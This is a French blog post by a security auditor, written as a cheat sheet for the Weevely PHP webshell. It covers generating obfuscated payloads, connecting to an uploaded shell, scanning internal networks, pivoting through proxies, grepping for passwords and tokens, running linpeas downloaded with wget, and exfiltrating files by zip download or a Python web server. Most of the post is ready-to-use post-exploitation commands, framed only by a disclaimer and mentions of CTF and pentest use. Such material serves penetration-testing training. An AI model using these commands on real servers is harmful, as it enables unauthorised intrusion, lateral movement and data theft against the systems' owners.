Rappel : L’article qui va suivre contient des techniques et méthodes qui peuvent s’avérer être illégales et dangereuses si elles sont utilisées à mauvais escient. Ce tutoriel ne doit en aucun cas être utilisé contre un particulier, une entreprise, une organisation à but non lucratif ou une administration publique de quelconque pays. Je me dédouane de toute responsabilité en cas de problèmes ou d’incidents de quelque nature que ce soit après le visionnage de cet article.

Bonjour à tous ! Aujourd’hui, après quelques semaines sans article, je vais vous présenter l’un de mes outils préférés en sécurité offensive axé sur le web. Je le considère clairement comme un must-have pour toutes les personnes s’intéressant de près ou de loin à la sécurité offensive. Derrière son petit nom « weevely », se cache un artefact développé en PHP qui vous permet d’établir un webshell interactif très facilement dès lors que vous pouvez profiter d’une vulnérabilité de type file upload.

Cet article est rédigé sous la forme d’une « cheatsheet ». Cela signifie que je ne présenterai pas un scénario d’exploitation, mais plutôt des commandes et des astuces autour de Weevely. Nous aborderons les caractéristiques générales de Weevely, puis l’utilisation de certains de ses modules, et enfin, comment interagir avec ce webshell sans nécessairement utiliser ses modules.

I. Fonctionnement Général

A. Générer un payload

Pour un serveur utilisant une version < à PHP 8 :

python3 weevely.py generate 123456 payload.php

123456 représente le mot de passe qui vous sera demandé lors de l’initialisation de la connexion entre vous et votre cible afin de sécuriser l’accès à ce point de terminaison malveillant.

Pour un serveur utilisant une version >= à PHP 8, il faut générer sa payload avec une option d’obfuscation spécial (suite à la suppression de certaines fonctions comme create_function() entre la nouvelle et les anciennes versions de PHP) :

python3 weevely.py generate -obfuscator phar 123456 payload.php

Merci à @ZanyMonk

Plus d’information ici : https://github.com/epinna/weevely3/pull/168

B. Accéder à ce payload

Une fois que vous avez uploadé votre payload sur le serveur web cible, vous pouvez utiliser la commande suivante pour instancier le webshell.

weevely http://192.168.130.130/weevely.php 123456

Vous obtenez donc un webshell interactif avec un rendu plutôt sympathique. Cependant, il y a un seul bémol : vous n’avez pas l’autocomplétion des commandes Linux.

Par défaut, Weevely offre un chiffrement des échanges entre l’attaquant et la cible, ce qui rend extrêmement difficile, voire quasi-impossible, pour un analyste sécurité de comprendre les actions spécifiques d’un attaquant qui l’utilise.

Avantages Inconvégnients
Standalone (upload d’un seul fichier en tant que payload, communication en mode « bindshell »)Certains modulent que weevely propose n’a pas un grand intérêt.
Chiffre les communications par défaut, code php obfuscé Pas d’auto-complétion des commandes « Native » Linux.
Facile d’utilisation
Conserve l’historique d’une précédente session (commandes saisies, etc.)

Une fois connecté au webshell, il est possible de lister les modules de weevely via la commande :help , ou alors utiliser des commandes disponnible sur le système.

II. Utilisation des modules avancés

A. Liste des modules

Voici la liste des modules actuellement supportés par weevely (4.0.1)

B. :file_upload

Ce module permet, comme son nom l’indique, d’uploader un fichier de votre machine d’attaque vers la cible. Cela peut être très pratique, notamment si la target n’a pas accès à Internet. Dans l’exemple ci-dessous, j’ai récupéré localement le binaire linpeas, que j’upload sur la cible via le protocole HTTP.

cd ~/temp
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas_linux_amd64
:file_upload /home/kali/temp/linpeas_linux_amd64 /var/www/html/app/linpeas_linux_amd64

Dès lors que le fichier est correctement uploadé, il ne manque plus qu’à attribuer les droits d’exécution.

C. :file_download

À contrario, si-vous souhaitez récupérer des fichiers sur le serveur, vous le pouvez en utilisant :file_download

Pour cela, zipé le répertoire qui vous interesse avec :

zip -q -r <emplacement provisoire du fichier zip> <répertoire qui va être zipé>
zip -q -r /tmp/scripts.zip scripts 

Une fois cette action fête, il ne vous reste plus qu’à exfiltrer ce fichier vers un dossier de votre choix localement sur votre machine d’attaque.

:file_download <fichier à exfiltrer> <répertoire sur la machine d'attaque>
:file_download /tmp/scripts.zip /home/kali/temp/scripts.zip

D. :net_scan

Afin de réaliser un mouvement latéral / pivot, vous pouvez utiliser ce module qui vous permettra de scanner les ports d’une IP, ou d’un groupe d’adresse IP. (Même si le scan est relativement lent, celui-ci reste néanmoins assez furtif et bien moins « bruyant » qu’un nmap (par défaut)).

Mais d’abord un petit rappel pour expliquer la différence entre ces deux termes qui ont un sens commun, mais qui n’ont pas réellement la même finalité :

Un pivot en sécurité informatique se produit lorsqu’un attaquant réussit à accéder à un système compromis, puis qu’il utilise ce dit système comme point d’entrée pour accéder à d’autres réseaux et ressources non accessibles par sa machine d’attaque par défaut.

Mouvement latéral : Pour expliquer ce terme, supposons qu’un attaquant ait réussi à compromettre le compte utilisateur d’un domaine Active Directory. À partir de ce compte, l’attaquant peut chercher à se déplacer en tentant, par exemple, d’accéder à d’autres serveurs en utilisant les identifiants qu’il a précédemment obtenus. Ainsi, il est possible de découvrir que l’utilisateur compromis dispose de droits plus étendus qu’il ne paraît au premier abord. Imaginons que ce compte appartienne à un DAF (Directeur Administratif et Financier). Logiquement, il devrait avoir des autorisations pour accéder à d’autres applications liées à la comptabilité et aux finances, et autres serveurs de fichiers.

En résumé, un pivot implique le passage d’un réseau à un autre en utilisant un serveur compromis comme point de départ, tandis que le mouvement latéral se réfère à l’exploration et à l’expansion horizontale à l’intérieur du réseau « global » pour atteindre de nouvelles cibles.

Je ne rentre pas plus dans les détails, si-vous souhaitez plus d’information sur le sujet, je vous invite à consulter les liens suivants : https://delinea.com/blog/windows-privilege-escalation

Reprenons, ici le module net_scan vous permet en toute simplicité (vraiment) de réaliser un scan de ports sur un groupe d’adresses IP, voire même sur une plage complète. Pour résumer, c’est une sorte de mini nmap qui va vous indiquer si l’IP est en ligne et si un service quelconque tourne derrière celle-ci. Cela peut vous aider à poursuivre votre exploration et à identifier la présence éventuelle d’autres machines sur le même réseau avant d’effectuer éventuellement une action de pivotage.

Dans l’exemple ci-dessous je scan le réseau 192.168.130.0/24 afin de savoir si oui ou non d’autres services HTTP sont exécuté sur les IPs de clui-ci sur les ports commun 80, 443.

:net_scan 192.168.130.0/24 80,443 

Ici, on constate donc que deux IPs semble héberger un serveur web.

E. :file_grep

Cette fonctionnalité permet de rechercher une chaine de caractères recursivement dans tous les fichiers et sous-dossier du dossier actuel (« . »). Même si vous pouvez utiliser l’option -r de grep pour réaliser cela, certaines distributions Linux embarquant une version de grep différentes ou dépréciés n’embarqueront peut-être pas cette fonctionnalité.

Celle-ci s’avère très pratique notamment pour débusquer des mots de passe, jeton de connexions ou autres donnés sensibles… Attention tout de même à cibler les bons pattern, et les bons dossiers sinon vous risquez de vous noyer parmi les résultats qui vous seront retourné.

La commande suivante permet de rechercher la présence de la string « admin: » au seins du dossier /var/www/html/app

:file_grep . admin:

F. :net_proxy

Lorsque vous utilisez l’option net_proxy avec Weevely, vous pouvez instancier un proxy HTTP afin d’encapsuler le trafic entre votre machine et le serveur distant. Cela peut être utile lorsque vous souhaitez contourner des restrictions réseau et/ou réaliser un pivoting.

:net_proxy

Si-vous identifié que votre machine cible dispose de plusieurs cartes réseau, cela peut éventuellement sous-entendre que celle-ci est interconnectée à plusieurs réseaux. Problème en l’état actuel, il n’est pas possible d’atteindre une autre machine sur le réseau 10.50.50.0/24, car je n’ai aucune route qui me permette de l’atteindre.

C’est la qu’intervient notre module weevely :

:net_proxy

Par défaut le port :8080 sera ouvert côté attaquant. Celui-ci sera la porte d’entrée de la connexion du proxy. Pour faire faire transiter vos connexions via le proxy, il faudrait alors « proxifier » vos commandes soit via un outil dédié comme proxychain soit en utilisant l’option « proxy » de votre outil.

Certains outils qui utilise d’autres protocole que HTTP ne fonctionneront pas dans ce cas précis car weevely ne supporte pas l’encapsulation d’autres protocoles. Je vous conseil de vous reporter au tools suivants, si vous avez besoin de d’utiliser cette apprôche :

  • ligolo-ng
  • chisel

Ici, je pars du principe que je connais l’existence du serveur web hébergé via l’IP 10.50.50.2.

Une fois le proxy en place, je vais essayer d’atteindre le serveur web 10.50.50.2. Voici comment encapsuler vos requêtes HTTP avec curl :

curl -x "http://127.0.0.1:8080" "http://10.50.50.2"

Dans le cas contraire, si je ne précise pas le proxy, je n’accèderais pas au serveur web 10.50.50.2

G. :net_phpproxy

Ce module permet quant à lui d’instancier provisoirement un proxy PHP sur le serveur cible. Seul petit hic, le rendu graphique est parfois abject à cause entre autres de diverses imcompatbilité. (moteurs de rendu, etc.)

III. Utilisation de weevely sans modules

A. Auditer la configuration du serveur avec linpeas (oui toujours lui)

Si la machine à accès à internet

Comme je vous l’ai dit plus haut, certains modules de weevely ne servent plus à grand-chose, car depuis un certain temps maintenant, le support des commandes Linux est pris en charge nativement, ce qui semblait ne pas être le cas auparavant.

Si votre Cible à accès à internet, vous pouvez exécutez linpeas facilement en saisissant les commandes suivantes :

wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas_linux_amd64
chmod +x linpeas_linux_amd64
./linpeas_linux_amd64

Le rendu n’est pas instantané. Il faudra attendre la fin de l’exécution du script pour obtenir le rapport complet. Ceci est dû aux restrictions du webshell weevely. Veuillez patienter quelques minutes.

Si la machine n’a pas accès à internet

B. Exfiltrer des données

Très simplement, je peux instancier un serveur web python depuis le webshell weevely comme cela :

Votre target devra disposer de python d’installé. Le module http.server est un module in-built de python3.

python3 -m http.server 8080

Dès lors, il est possible de récupérer le fichier secrets.zip depuis ma machine d’attaque avec la commande wget (ou via un navigateur…)

IV. Conclusion

En conclusion, Weevely est un outil très sympathique qui s’avère être aussi bien utile en CTF qu’en contexte réel. Sa capacité à créer et à gérer des webshells interactifs en fait un choix judicieux. Cet article « cheat sheet » était loin d’être exhaustif. Je me suis concentré sur les modules et les aspects les plus intéressants selon moi. Il peut être utilisé comme un guide pratique pour tirer le meilleur parti de cet outil.

Bel été à vous !

++

Archidote


Geoffrey Sauvageot-Berland

Ingénieur diplômé par l’état en Informatique et Cybersécurité. Généraliste, à l'origine administrateur systèmes et réseaux, j’occupe actuellement un poste d’auditeur en sécurité offensive. J’apprécie également la programmation/automatisation. Fondateur du blog : "Le Guide du SecOps", anciennement "Le Guide du SysOps"